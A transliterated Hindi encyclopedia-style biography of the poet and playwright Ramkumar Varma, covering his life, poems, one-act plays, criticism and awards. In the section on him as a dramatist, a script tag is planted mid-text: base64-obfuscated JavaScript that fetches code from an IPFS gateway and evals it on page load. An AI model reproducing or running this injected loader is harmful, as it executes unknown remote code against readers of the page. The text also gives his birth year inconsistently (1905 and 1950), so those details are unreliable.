रामकुमार वर्मा

ramakumar varma
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poora nam	d aau. ramakumar varma
janm	15 sitanbar, 1905
janm bhoomi	sagar zila, madhyapradesh
mrityu	1990 ee.
abhibhavak	shri lakshmi prasad varma, shrimati rajarani devi
karm bhoomi	madhy pradesh
karm-kshetr	sahity
mukhy rachanaean	'aanjali', 'abhishap', 'nishith', 'jauhar', 'chittau d ki chita' adi.
bhasha	hindi
vidyalay	prayag vishvavidyalay, nagapur vishvavidyalay
puraskar-upadhi	dev puraskar, padm bhooshan
prasiddhi	ekaankikar, alochak aur kavi
nagarikata	bharatiy
inhean bhi dekhean	kavi soochi, sahityakar soochi

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ramakumar varma (aangrezi:Ram Kumar Verma, janm: 15 sitanbar, 1905; mrityu: 1990) adhunik hindi sahity mean 'ekaanki samrat' ke roop mean jane jate haian. d aau. ramakumar varma hindi bhasha ke suprasiddh sahityakar, vyangyakar aur hasy kavi ke roop mean jane jate haian. ramakumar varma ki hasy aur vyangy donoan vidhaoan mean saman roop se pak d hai. natakakar aur kavi ke sath-sath unhoanne samikshak, adhyapak tatha hindi-sahity ke itihas-lekhak ke roop mean bhi hindi sahity-sarjan mean apani mahattvapoorn bhoomika nibhaee. ramakumar varma ekaankikar, alochak aur kavi haian. inake kavy mean 'rahasyavad' aur 'chhayavad' ki jhalak hai.

jivan parichay

d aau. ramakumar varma ka janm madhy pradesh ke sagar zile mean 15 sitanbar sanh 1950 ee. mean hua. inake pita lakshmi prasad varma dipti kalaiktar the. varmaji ko prarambhik shiksha inaki mata shrimati rajarani devi ne apane ghar par hi di, jo us samay ki hindi kavayitriyoan mean vishesh sthan rakhati thian. bachapan mean inhean "kumar" ke nam se pukara jata tha. ramakumar varma mean prarambh se hi pratibha ke spasht chihn dikhaee dete the. ye sadaiv apani kaksha mean pratham aya karate the. pathan-pathan ki pratibha ke sath hi sath ramakumar varma shala ke any karyoan mean bhi kafi sahayog dete the. abhineta banane ki ramakumar varma ki b di prabal ichchha thi. atev inhoanne apane vidyarthi jivan mean kee natakoan mean ek saphal abhineta ka kary kiya hai. ramakumar varma sanh 1922 ee. mean dasavian kaksha mean pahuanche. isi samay prabal veg se asahayog ki aandhi uthi aur ramakumar varma rashtr seva mean hath bantane lage tatha ek rashtriy karyakarta ke roop mean janata ke sammukh aye. isake bad varmaji ne punah adhyayan prarambh kiya aur sab parikshaoan mean saphalata prapt karate hue prayag vishvavidyalay se hindi vishay mean em. e. mean sarvapratham aye. ramakumar varma ne nagapur vishvavidyalay ki or se 'hindi sahity ka alochanatmak itihas' par piechadi ki upadhi prapt ki. anek varshoan tak ramakumar varma prayag vishvavidyalay ke hindi vibhag mean pradhyapak tatha phir adhyaksh rahe haian.

suprasiddh kavi

ramakumar varma adhunik hindi sahity ke suprasiddh kavi, ekaanki natak-lekhak aur alochak haian. "chitrarekha" kavy-sangrah par inhean hindi ka sarvashreshth "dev puraskar" mila hai. sath hi "sapt kiran" ekaanki sangrah par akhil bharatiy sahity sammelan puraskar aur madhyapradesh shasan parishad se "vijayaparv" natak par pratham puraskar mila hai. ramakumar varma roosi sarakar ke vishesh amantran par masko vishvavidyalay ke aantargat prayah ek varsh tak shiksha kary kar chuke haian. hindi ekaanki ke janak ramakumar varma ne aitihasik, saanskritik, manovaijnanik, samajik aur sahityik vishayoan par 150 se adhik ekaanki likhian. bhagavaticharan varma ne kaha tha, "d aau. ramakumar varma rahasyavad ke pandit haian. unhoanne rahasyavad ke har pahaloo ka adhyayan kiya hai. us par manan kiya hai. usako samajhana ho aur usaka vastavik aur vaijnanik roop dekhana ho to usake lie shri varma ki ‘chitrarekha’ sarvashreshth kavy granth hoga."

chitr:Blockquote-open.gif ‘‘jis desh ke pas hiandi jaisi madhur bhasha hai vah desh aangrezi ke pichhe divana kyoan hai? svatantr desh ke nagarikoan ko apani bhasha par garv karana chahie. hamari bhavabhoomi bharatiy honi chahie. hamean joothan ki or nahian takana chahie’’ chitr:Blockquote-close.gif - d aau. ramakumar varma

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ruchi

d aau. ramakumar varma ki kavita, sangit aur kalaoan mean gahari ruchi thi. 1921 tak ate-ate yuvak ramakumar gaandhi ji ke unake asahayog aandolan mean sammilit ho ge. unhoanne 17 varsh ki ayu mean ek kavita pratiyogita mean 51 rupe ka puraskar jita tha. yahian se unaki sahityik yatra aranbh huee thi. d aau. ramakumar varma ne desh hi nahian videshoan mean bhi hindi ka paracham laharaya. 1957 mean ve masko vishvavidyalay ke adhyaksh ke roop mean soviyat sangh ki yatra par ge. 1963 mean unhean nepal ke tribhuvan vishvavidyalay ne shiksha sahayak ke roop mean amantrit kiya. 1967 mean ve shrilanka mean bharatiy bhasha vibhag ke adhyaksh ke roop mean bheje ge.

kritiyaan

roos mean ramakumar varma ki rachanaean sanh 1922 ee. se prarambh hueean. inaki kritiyaan is prakar haian:-

• 'vir hamir' (kavy-san 1922 ee.)
• 'chittau d ki chianta' (kavy sanh 1929 ee.)
• 'sahity samalochana' (san 1929 ee.)
• 'aanjali' (kavy-san 1930 ee.)
• 'abhishap' (kavita-san 1931 ee.)
• 'hindi gitikavy' (sangrah-san 1931 ee.)
• 'nishith' (kavita-san 1935 ee.)

chitr:Blockquote-open.gif d aau. ramakumar varma rahasyavad ke pandit haian. unhoanne rahasyavad ke har pahaloo ka adhyayan kiya hai. us par manan kiya hai. usako samajhana ho aur usaka vastavik aur vaijnanik roop dekhana ho to usake lie shri varma ki ‘chitrarekha’ sarvashreshth kavy granth hoga. chitr:Blockquote-close.gif - bhagavaticharan varma

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• 'chitrarekha' (kavita-san 1936 ee.)
• 'prithviraj ki aankhean' (ekaanki sangrah-san 1938 ee.)
• 'kabir padavali' (sangrah sampadan-san 1938 ee.)
• 'hindi sahity ka alochanatmak itihas' (san 1939 ee.)
• 'adhunik hindi kavy' (sangrah sampadan-san 1939 ee.)
• 'jauhar' (kavita sangrah- 1941 ee.)
• 'reshami taee' (ekaanki sangrah-san 1941 ee.)
• 'shivaji' (san 1943 ee.)
• 'char aitihasik ekaanki' (sangrah-san 1950 ee.)
• 'rooparang' (ekaanki sangrah-san 1951 ee.)
• 'kaumudi mahotsav'

aitihasik natak

• 'ekalavy'
• 'uttarayan'
• 'o ahalya'

rachanaaian

ye gajare taroan vale is sote sansar bich, jag kar, saj kar rajani bale. kahaan bechane le jati ho, ye gajare taroan vale? mol karega kaun, so rahi haian utsuk aankhean sari. mat kumhalane do, soonepan mean apani nidhiyaan nyari॥ nirjhar ke nirmal jal mean, ye gajare hila hila dhona. lahar hahar kar yadi choome to, kianchith vichalit mat hona॥ hone do pratibimb vichumbit, laharoan hi mean laharana. 'lo mere taroan ke gajare' nirjhar-svar mean yah gana॥ yadi prabhat tak koee akar, tum se hay! n mol kare. to phooloan par os-roop mean bikhara dena sab gajare॥

ek dipak kiran-kan hooan dhoomr jisake kro d mean hai, us anal ka hath hooan maian, nav prabha lekar chala hooan, par jalan ke sath hooan maian siddhi pakar bhi, tumhari sadhana ka.. jvalit kshan hooan. ek dipak kiran-kan hooan vyom ke ur mean, apar bhara hua hai jo aandhera aur jisane vishv ko, do bar kya sau bar ghera us timir ka nash karane ke lie, maian atal pran hooan. ek dipak kiran-kan hooan. shalabh ko amaratv dekar,prem par marana sikhaya soory ka sandesh lekar,ratri ke ur mean samaya par tumhara sneh khokar bhi tumhari hi sharan hooan. ek dipak kiran-kan hooan.

kholo priyatam kholo dvar... shishir kanoan se ladi huee kamali ke bhige haian sab tar chalata hai pashchim ka marut le kar shitalata ka bhar arun kiran sam kar se chhoo lo kholo priyatam kholo dvar.... daro na itana dhool dhoosarit hoga nahian tumhara dvar dho dale haian inako priyatam in aankhoan se aansoo dhar arun kiran sam kar se chhoo lo kholo priyatam kholo dvar...

chhayavad

d aau. varma ka kavi-vyaktitv dvivediyugin pravrittiyoan se udit hokar chhayavad kshetr mean moolyavan upalabdhi siddh hua. inaki kavyagat visheshataoan mean kalpanavritti, sangitatmakata, rahasyamay saundary-drishti (rahasyavad) ka sthan anany hai. chhayavadakal ki kavitaean inaki kavi pratibha ka sundar pratinidhitv karati haian.

rahasyavad

hindi rahasyavad ke kshetr mean inaki apani vishesh den hai. apani rahasyavadi kritiyoan mean inhoanne prakriti aur manaviy hriday ke sookshm tattvoan, jinamean alaukik satta ka abadh prakash hai, bahut b da sahara liya hai. inhoanne prakriti ki virat satta mean sarvatr eeshvariy sanket ki anubhooti ki hai. is prakar jahaan inhoanne apane is dharatal ke kavy-jagat mean ek or manav atma ki saphal premamay pravrittiyoan ki thah li hai, vahaan unhoanne prakriti ke rahasyoan ka bhi saphal aanveshan kiya hai. sarvatr bhavana kshetr mean tadvishayak abhivyakti ke lie prayah roopakoan ka sahara liya hai, jinamean ek or adhyatmik sanket haian aur doosari or ek alaukik vyanjana.

natakakar

chitr:Blockquote-open.gif kavi aur chitrakar mean bhed hai. kavi apane svar mean aur chitrakar apani rekha mean jivan ke tatv aur sauandary ka rang bharata hai. chitr:Blockquote-close.gif - d aau. ramakumar varma

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> natakakar ramakumar varma ka vyaktitv kavi-vyaktitv se adhik shaktishali aur lokapriy siddh hua hai. natakakar dharatal se unaka ekaankikar svaroop hi unaki vishesh mahatta hai aur is disha mean ve adhunik hindi ekaanki ke janak kahe jate haian, jo nirvivad saty hai. prarambhik prabhav ki drishti se in par sha, ibsan maitaraliank, chekhab adi ka vishesh prabhav p da hai kiantu yah saty hai ki d aau. varma is kshetr mean, visheshakar manovegoan ki abhivyakti aur apane drishtikon mean sada maulik aur bharatiy rahe haian. "badal ki mrityu" inaka sarvapratham ekaanki natak tha, jo 1930 ee. mean "vishvamitr" mean prakashit hua tha. isake bad d aau. varma ne kramashah das minat, nahian ka rahasy, prithviraj ki aankhean, champak aur ektres adi natakoan (ekaanki) ki rachana ki tatha is uday ke bad inaka ekaankikar vyaktitv adhunik hindi natay sahity ka prakash-stabh ho gaya.

krititv

reshamitaee ke uparaant d aau. varma ke krititv mean ek vishesh dhara aitihasik ekaankiyoan ki vikasit huee, jisamean d aau. ramakumar ek aise adarshavadi kalakar ke roop mean hindi natay jagath ke samane aye, jinamean unake saanskritik aur sahityik manyataoan ka sundaratam samanvay sthapit hua hai. "ve kalush ke bhitar se pavitrata, dainy ke bhitar se shalinata, vasana ke bhitar se atmasanyam evan kshudrata se mahanata ka aanveshan karane mean samarth hue haian aur yah sab unhoanne patroan aur paristhitiyoan ke sangharsh se svabhavik roop mean prastut kiya hai."

chitr:Blockquote-open.gif d aau. varma ne ekaanki vidha ka srijan karake sahity mean prayogavad ko badhava diya. d aau. dharmavir bharati, ajit kumar, jagadish gupt, markandey, dushyant kumar, rajanarayan, kanhaiyalal nandan, ramanath avasthi, oankaranath shrivastav, umakaant malaviy aur svayan maian unaka chhatr raha hooan. chitr:Blockquote-close.gif - kamaleshvar

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alochak

ramakumar varma ekaankikar, alochak aur kavi haian. inake kavy mean rahasyavad aur chhayavad ki jhalak hai. alochana ke kshetr mean ramakumar varma ki kabiravishayak khoj aur unake padoan ka pratham shuddh path tatha kabir ke rahasyavad aur yogasadhana ki paddhati ki samalochana vishesh upalabdhi hai. hindi sahity ke itihas lekhan kshetr mean unake prasiddh granth hindi sahity ka alochanatmak itihas (1938 ee.) ka vishesh mahattv hai. samajik tatha shaktiyoan ke adhyayan pariprekshy mean hindi sahity ke adi yug aur madhy yug ko samagr roop mean dekhane ka yah pahala saphal prayas hai. isake atirikt kavy, kala aur sahity ke vibhinn aangoan tatha madhyamoan par lalit lekh d aau. varma ke nibandhakar vyaktitv ke sundaratam udaharan haian. ‘‘jis desh ke pas hiandi jaisi madhur bhasha hai vah desh aangrezi ke pichhe divana kyoan hai? svatantr desh ke nagarikoan ko apani bhasha par garv karana chahie. hamari bhavabhoomi bharatiy honi chahie. hamean joothan ki or nahian takana chahie’’ hiandi ko lekar yah pi da apani bhasha ke prati gahari pratibaddhata aur astha rakhane vale d aau ramakumar varma ki hai.

hiandi ekaanki ke janak

hiandi ki laghu naty paranpara ko ek naya mo d dene vale d aau. ramakumar varma adhunik hiandi sahity mean ‘ekaanki samrath’ ke roop mean samadrit haian. unhoanne hiandi natak ko ek naya sanrachanatmak adarsh sauanpa. naty kala ke vikas ki sanbhavanaoan ke ne pat kholate hue naty sahity ko jan jivan ke nikat pahuancha diya. natakakar aur kavi ke sath-sath unhoanne samikshak, adhyapak tatha hiandi sahityetihas-lekhak ke roop mean bhi hiandi sahity-srijan mean apani mahatvapoorn bhoomika nibhaee. natakakar ke roop mean unhoanne manovijnan ke anekanek staroan par manav-jivan ki vividh sanvedanaoan ko svar diya to chhaya vadi kaviyoan ki katar mean kh de hokar rahasy aur adhyatm ki prishthabhoomi mean apane kavyatmak sanskaroan ko vikasit kar rahasyamayi jagath ke svapnoan mean sahriday ko pravesh karaya. d aau. varma ke sahityik vyaktitv ko natakakar aur kavi ke roop mean adhik pramukhata mili sanh 1930 mean rachit ’badal ki mrityu’ unaka pahala ekaanki hai, jo pheantesi ke roop mean atyant lokapriy hua. bharatiy atma aur pashchaty takanik ke samanvay se unhoanne hiandi ekaanki kala ko nikhar diya. unhoanne aitihasik aur samajik do tarah ke ekaanki natakoan ki srishti ki. aitihasik natakoan mean unhoanne bharatiy itihas se svarnim prishthoan se natakoan ki vishay-vastu ko grahan kar charitroan ki aisi sudridh roop rekha prastut ki jo pathakoan mean uchch charitrik sanskar bhar sake aur samayik jivan ki samasyaoan ko samadhan ki disha de sake. unake natak bharatiy sanskriti aur rashtriy udbodhan ke svar bakhoobi samete hue haian. garv ke sath ve kahate haian, ’aitihasik ekaankiyoan mean bharatiy sanskriti ka merudand-naitik moolyoan mean astha aur vishvas ka drishtikon prastut kiya gaya hai.’ unake samajik ekaanki prem aur seks ki samasyaoan se sanbandhit haian. ye ekaanki manasik aantardvand ki adhar bhoomi par yatharthavadi kalevar mean samaj aur jivan ki vastu-sthiti tak pahuanchate haian. par in ekaankiyoan mean lekhak ki adarshavadi soch itani gahari hai ki ve adarshavadi jhoank mean yatharth ko manamana natakiy mo d de baithate haian. isalie unake stri patr shiksha aur ne sanskaroan ke bavajood prem aur jivan ke sangharsh mean jivan ka moh tyagakar prem ke lie utsarg kar baithate haian mano utsarg ya pranaant hi sachche prem ki kasauti ho. adhunik patroan par bhi lekhak ne apani adarshavadi soch ko thop diya hai.

alochakoan ka drishtikon

thumb|d aau. ramakumar varma d aau. ramakumar varma bahumukhi pratibha ke dhani the. lekhan ki aisi koee vidha nahian jo unaki kalam se achhooti rah gee ho. kabhi kavi to kabhi ekaankikar, kabhi natakakar to kabhi sanpadak, kabhi shodhakarta to kabhi sahity ke itihas lekhak, n jane kitane-kitane roopoan mean is kritikar ne hiandi ke sahity akash ko apani abha se chamatkrit kiya. 101 se adhik kritiyaan unaki srijanashilata ka dastavez haian. koee unhean natak samrat manata hai to koee hiandi ekaanki ka janak. koee kahata hai achary ramachandr shukl ke bad agar kisi ne pramanik hiandi sahity ka itihas likha hai to ve d aau ramakumar varma hi hai. sach to yah hai ki kisi ek vyakti ka sahity ki itani vidhaoan par aisa adhikar hona alochakoan ke lie hairat ka prashn hai. mahatma buddh, bhagavan mahavir, ashok, samudr gupt, chandragupt aur shivaji se lekar 1857 ke pratham svadhinata sangram ke mahanayakoan tak sabhi unake natakoan ke patr rahe haian. apane 26 se adhik natakoan ke madhyam se ve deshavasiyoan mean bharatiyata, desh prem aur itihas se prerana lene ki chetana bharate rahe haian. sahityakar kamaleshvar kahate haian,d aau. varma ne ekaanki vidha ka srijan karake sahity mean prayogavad ko badhava diya. d aau. dharmavir bharati, ajit kumar, jagadish gupt, markandey, dushyant kumar, rajanarayan, kanhaiyalal nandan, ramanath avasthi, oankaranath shrivastav, umakaant malaviy aur svayan maian unaka chhatr raha hooan. aitihasik natakoan ka yahi srashta jab bhavuk ho utha to usake kavi man se ‘ekalavy’, ‘uttarayan’, evan ‘o ahalya’ jaise kalajee saanskritik mahakavy likh dale. hiandi ekaanki ke is janak ne aitihasik, saanskritik, manovaijnanik, samajik aur sahityik vishayoan par rangamanch par khele ja sakane vale 150 se adhik ekaanki likh sabako hataprabh kar diya. yahi vajah thi ki bhagavaticharan varma ne kaha tha, ‘‘ d aau. ramakumar varma rahasyavad ke pandit haian. unhoanne rahasyavad ke har pahaloo ka adhyayan kiya hai. us par manan kiya hai. usako samajhana ho aur usaka vastavik aur vaijnanik roop dekhana ho to usake lie shri varma ki ‘chitrarekha’ sarvashreshth kavy granth hoga’’

smaraniy tathy

• 15 sitanbar, 1905 ko janme d aau. ramakumar varma ki kavita, sangit aur kalaoan mean gahari ruchi thi.
• 1921 tak ate-ate yuvak ramakumar gaandhi ji ke unake asahayog aandolan mean sammilit ho ge.
• unhoanne 17 varsh ki ayu mean ek kavita pratiyogita mean 51 rupe ka puraskar jita tha. yahi se unaki sahityik yatra aranbh huee thi.
• d aau. ramakumar varma ne desh hi nahian videshoan mean bhi hiandi ka paracham laharaya.
• 1957 mean ve masko vishvavidyalay ke adhyaksh ke roop mean soviyat sangh ki yatra par ge.
• 1963 mean unhean nepal ke tribhuvan vishvavidyalay ne shiksha sahayak ke roop mean amantrit kiya.
• 1967 mean ve shrilanka mean bharatiy bhasha vibhag ke adhyaksh ke roop mean bheje ge.
• unake krititv se prabhavit hokar svitjaralaiand ke moor vishvavidyalay ne unhean dilit ki upadhi se sammanit kiya.
• bharat sarakar ne unhean 1965 mean padm bhooshan ke rashtriy alankaran se vibhooshit kiya.
• unaki janmashati sahity jagath ke lie srijan ka ek parv hai. isilie poore varsh bhar desh mean jagah-jagah unaki yad aur samman mean karyakram ayojit kie jate haian.

puraskar

ramakumar varma ko upanyas "chitrarekha" par dev puraskar evan ekaanki sangrah par akhil bharatiy sahity sammelan puraskar mila. inako bharat sarakar dvara padm bhooshan alankaran se vibhooshit kiya gaya. unake krititv se prabhavit hokar svitjaralaiand ke moor vishvavidyalay ne unhean di.lit ki upadhi se sammanit kiya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• ramakumar varma
• ramakumar varma / parichay